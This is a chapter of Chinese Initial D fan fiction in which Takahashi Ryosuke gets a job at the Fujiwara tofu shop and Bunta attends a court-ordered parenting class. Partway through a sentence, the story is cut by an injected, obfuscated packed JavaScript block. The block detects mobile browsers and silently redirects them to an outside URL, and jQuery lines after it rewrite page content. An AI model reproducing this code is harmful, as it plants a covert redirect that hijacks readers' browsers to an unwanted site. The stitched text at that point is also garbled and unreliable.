“到我这里打工?”
接到凉介要求见面的电话,藤原文太很快就往医院来了。
一路上他做了不少设想,无论是赔偿的金额,还是住院的费用。陷入忙乱的文太想着,只要能够尽快解决,他都会大方给出的。
毕竟他最近的日子,过得一点也不好。
作为一个独立带着儿子,又当爹又当妈,还要经营着小小家族门店的中年男子,面对店门口时不时刷新的检察官,文太即使再不耐烦,也只好装着热情的招待。
还有,每日凌晨固定的送货时间,也多了不少阻碍。好不容易缴纳押金,领回了被扣押的86。这台喷着豆腐坊标语的86,却好像上了某种黑名单。交警额外热衷对他进行拦截检查,即使是凌晨时分秋名空无一人的山路上也毫不例外。
这个时候,藤原文太也只好板着脸,从车上下来,递上自己的证件。
唉,在交警的目光中,他最爱的保留项目——下山漂移都变得毫无趣味了。
更不用提,还有更令他恐惧的事情——为期半年的亲职辅导。
阔别课堂许久的学渣的属性猛地从骨子里冒了出来,他几乎是带着恐惧,数着即将开课的日子。
天哪,万一是一大堆枯燥的理论怎么办?
不会还有课后作业吧?
一想到这些,藤原文太就是头皮发麻,就连最爱的清酒,都有些难以下咽了。
因此,顶着两个大大的黑眼圈,一脸颓废的文太,看到病房里神采奕奕的凉介,心里顿时有股说不上来的复杂情感。
听到对方的请求,更是上上下下打量了这个家伙好几遍。
不是豆腐坊内不缺人手,也不是这个家伙要求薪水太高。只是他很难相信啊,这家伙看上去就不像是个需要出卖体力生活的摸样,谈吐上体现出他对法律条文和医学知识的了解,完全足够他找一份条件更好的兼职工作啊。
甚至如果这个家伙有个学位的话,成为正式员工都有可能的。
“等腿伤养好了,我可以负责开车送货的。伯父去上课的时候,我也可以帮忙看店。”
高桥凉介提出的工作内容,和藤原文太的需求几乎是完美契合,甚至戳中了他内心隐秘的想法。
“拓海对赛车很感兴趣呢,很喜欢和我探讨赛车方面的东西,他的天赋也很棒,只要勤加练习,一定能在赛车界崭露头角的。”
藤原文太的眼神深沉起来。拓海最近零花钱的去向,从各种热血漫画变成了汽车杂志,甚至翻出了柜子深处的赛车纪录片观看,这些变化都被文太看在眼里。
这个小子,没有在说谎。
老父亲在背后苦心引导许久,甚至用帮家里干活的名义铺垫,竟然比不上这个家伙几个故事的吸引?
高桥凉介很擅长观察对手,文太这略微迟疑的摸样,就让他知道对方的想法已经在动摇了。他乘胜追击,给出更加优渥的条件。
“出现车祸的事情,检察官应该把拓海列为观察对象了,训练计划进行不了。我送货的时候,可以让他坐在副驾驶上,观察秋名的山路,学习理论上的知识。”
这条件,藤原文太有些难以拒绝了。他不是个学霸型人物,当年为了对赛车的热爱,吭哧吭哧啃下的各种赛车原理,自己用用还行。要让他条理清晰,教给儿子简直让他头疼。
何况拓海那个家伙,愿意听那么枯燥的理论知识吗?
“成交,不过薪水上,只能委屈你一下了。毕竟豆腐坊生意很一般,又刚交了一笔罚金。”
随着高桥凉介点头应下,藤原文太眸光一闪,背地里笑得像只老狐狸。
明面上生意确实很一般,但靠着他先前赛车攒下的积蓄,藤原家的经济根本不像明面上那么紧张与拮据。
不过对面这个家伙,很显然也不是冲着工钱来的。既然看上了他的宝贝儿子,也算有眼光,不过能坑对方一笔,文太也绝对毫不迟疑。
高桥凉介窥见伯父隐藏的得意,背地里也偷笑起来。
这回他可是光明正大,登堂入室和拓海相处了。
无论藤原文太内心如何抗拒,时间还是慢慢往前流淌着。
带着百般不情愿,他踩着点,推开了辅导课的大门。
教室里七八个家长,齐刷刷向他看了过来,像是好奇于这个新鲜的面孔。
“是藤原先生对吧?快进来,课程马上就要开始了。”
讲台上那个带着眼镜的老师,也跟着抬头看了他一眼,引领着藤原文太在本子上签到后,就让他自己找个位置坐下。
教室的空间并不大,大概是被刻意调整过,桌椅摆成了一个圆形,正好把讲台的位置囊括在中心。
因此藤原文太的一系列行为,几乎位于所有人视线的焦点。顶着无形的视线,他的动作有些急躁,脸色也微微泛红。
藤原文太微微缩着身子,恨不得自己高大的身材,瞬间缩成拇指大小,好躲避开众人的视线。刷刷几笔签完字,拿着老师给出的资料,他扭着脑袋,避开众人的视线,巡视一圈,找了个角落的位置把自己塞了进去。
那份资料一翻开,就印着密密麻麻的文字,文太只扫了一眼就有些发晕。
可是面对迎上来,向他打招呼的隔壁家长,文太草草道出了自己的姓氏,就急忙把脑袋埋进书本里,假装特别认真的看了起来。
奈何这位老师根本没给藤原文太装鸵鸟的机会。
他先是根据资料上的内容,对青春期少年的心理特征进行简单的讲解,又开始了提问环节。要求现场的家长们,结合自家小孩的表现,说说他们对这些心理特征的理解,以及与小孩的相处方式。
藤原文太把两只眼睛从资料中冒了出来,环视着四周。第一位家长已经开始了发言,他数了数,按照顺时针的顺序,他是第六个。
要说什么呢?藤原文太开始绞尽脑汁,回想着拓海素日的表现。
只是脑海里晃来晃去的,基本就是拓海背着书包出门,背着书包回家的画面。
啊,怎么办?他什么也想不出来。
手里的资料被哗啦啦的翻动着,身边的家长都忍不住投来目光。
寻求独立、同伴影响大于父母、情绪波动、对冒险行为的好奇与低估风险……有哪些行为是可以对上的呢?
“藤原先生,藤原先生,轮到你了哦。”
在老师再三的呼唤下,藤原文太回过神,磕磕绊绊的开始了自己的分享,牙齿几次险些咬到舌头上。
还好,看在他是第一次参加,大家很给面子的听了下去,老师也淡淡的点点头。
如坐针毡中,好不容易熬到课程结束,文太站起身子就想跑路,却被老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806481|184724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师喊住,喜提单独辅导。
“藤原先生,事情发生后,您是如何与孩子沟通的?”
额,没沟通啊。不用开车送货了,拓海那小子估计偷着乐呢。
文太当然知道,这种话说出来,他又要喜提一次留堂辅导了,他紧闭着嘴巴。还没等他努力编点东西给老师,对方显然就从他的反应了,看透了这个家长在沟通上的缺失。
老师叹了口气,“藤原先生,调查官与我反馈过,藤原拓海在车祸发生后,认错态度良好,积极到医院照顾伤者,所以对于这次事件,他们没有给出特别严厉的惩罚。但这并不是家长疏忽的理由,显然您在亲子教育上,有不可推卸的责任。呐,这一次我要给您一个特别的家庭作业。”
“就车祸的事件,和孩子进行一次不低于30分钟的谈话,指出他错误的行为。”
与家庭作业配套的,还有一份谈话记录表格。
藤原文太藏起心底的无语,接过表格,道了再见后,就抓紧往外走去。
这个地方,简直和他八字不合!
去停车场的路上,又正好遇上了另一位家长的攀谈。
作为教室里,唯二的两名男性家长,对方露出了遇上同类的目光,刻意放慢了脚步。
“藤原先生,下节课我们可以坐在一起……”
啊不,他不想。
此地不宜久留!
“不好意思,我要抓紧回家了。”
藤原文太嗖嗖嗖加快脚步,几乎快要跑起来了,逃也似的钻进86里。
等他回到家里,高桥凉介已经在拓海的帮助下搬了进来。
起居室的桌子上,已经摆上了今天的晚餐——日式咖喱。
浅褐色的酱汁包裹着已经被炖得软烂的土豆、胡萝卜和猪肉,散发着浓郁的香气。
拓海把它浇在白米饭上,用勺子舀着送进嘴里,一口接着一口,吃得头也抬不起。
高桥凉介则是完全不同的吃相,他慢条斯理的嚼着嘴里的土豆,只有完全咽下去了,才会用勺子送上下一口。
头顶的灯光打下来,将两人笼罩在光线内,一副岁月静好的摸样。
手里还握着记录表格的文太,莫名有种被偷家了的错觉。
“为了庆祝凉介哥哥第一次到我们家,我做了日式咖喱……”
拓海只是抬头看了老头子一眼,又继续埋头吃饭。尽管这道菜他早就在料理课上学会了,但面对经常敷衍式给他煮素面的老头子,拓海才不愿意花时间看着灶台炖煮食材呢。
于是说好了轮流做饭的两父子,一日三餐变得一个比一个敷衍,越来越单调。
混合香料带来的馥郁香气萦绕在空中,长期食用寡淡食物的口腔里,自然而然的分泌出津液,文太的喉结动了动,这才发现自己已饥肠辘辘。
拓海正埋头苦吃,文太的脸皮也没有厚到,让一个伤者去给他盛饭。
他自己溜进厨房,找出一个碗,把电饭煲里的米饭刮干净,将温着锅里的咖喱一起端了出来。
尝一口,土豆已经入口计划,混合着酱汁,味道好极了。
好到不像是儿子的手艺。
对面用完饭的拓海,殷勤的帮凉介一起收拾了他的那份碗筷,不平衡的感觉又在心底涌起了。
“做饭的事情以后就交给你了,凉介。”